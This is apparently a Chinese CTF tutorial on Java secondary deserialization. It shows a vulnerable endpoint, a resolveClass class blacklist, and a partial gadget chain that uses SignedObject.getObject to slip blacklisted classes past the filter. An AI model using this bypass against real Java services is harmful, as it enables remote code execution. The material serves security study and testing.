适合场景 很多java题目,大都弄了个类继承ObjectInputStream,重写其resolveClass方法,在里面添加对反序列化类黑名单的校验。
javaGuide 1 2 3 4 5 6 7 8 9 10 11 12 13 14 public String deserialize (@RequestParam String payload) { byte [] decode = Base64.getDecoder().decode(payload); try { MyObjectInputStream myObjectInputStream = new MyObjectInputStream (new ByteArrayInputStream (decode)); myObjectInputStream.readObject(); return "ok" ; } catch (InvalidClassException e) { return e.getMessage(); } catch (Exception e) { e.printStackTrace(); return "exception" ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.example.javaguide;import java.io.IOException;import java.io.InputStream;import java.io.InvalidClassException;import java.io.ObjectInputStream;import java.io.ObjectStreamClass;public class MyObjectInputStream extends ObjectInputStream { public MyObjectInputStream (InputStream in) throws IOException { super (in); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); String[] denyClasses = new String []{"com.sun.org.apache.xalan.internal.xsltc.trax" , "javax.management" , "com.fasterxml.jackson" }; int var5 = denyClasses.length; for (String denyClass : denyClasses) { if (className.startsWith(denyClass)) { throw new InvalidClassException ("Unauthorized deserialization attempt" , className); } } return super .resolveClass(desc); } }
这里把下列类给过滤了,但是我们又必须用到这些类,那么就必须使用二次反序列化
1 {"com.sun.org.apache.xalan.internal.xsltc.trax" , "javax.management" , "com.fasterxml.jackson" }
分析 二次反序列化的原理是用一个不在黑名单里的类,让他触发readObject,然后在反序列化过程中再一次调用readObject,并且这个反序列化类我们可控
SignedObject::getObject() 1 2 3 4 5 6 7 8 9 10 11 public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream (this .content); ObjectInput a = new ObjectInputStream (b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
这个方法中的a可控,并且再一次进行了readObject
1 2 3 4 5 6 7 8 list.add(badAttributeValueExpException); KeyPairGenerator kpg=KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair keyPair=kpg.generateKeyPair(); PrivateKey privateKey=keyPair.getPrivate(); Signature signature=Signature.getInstance("DSA" ); SignedObject signedObject=new SignedObject (list,privateKey,signature); signedObject.getObject();
接下我们就可以衔接上一章提及的jsonArray类的toString方法会触发任意类的getter方法,那么就可以用它来触发getObject,然后在使用BadAttributeValueExpException触发他的toString方法,我们可以使用之后讲的EventListenerList的任意toString触发来执行也可以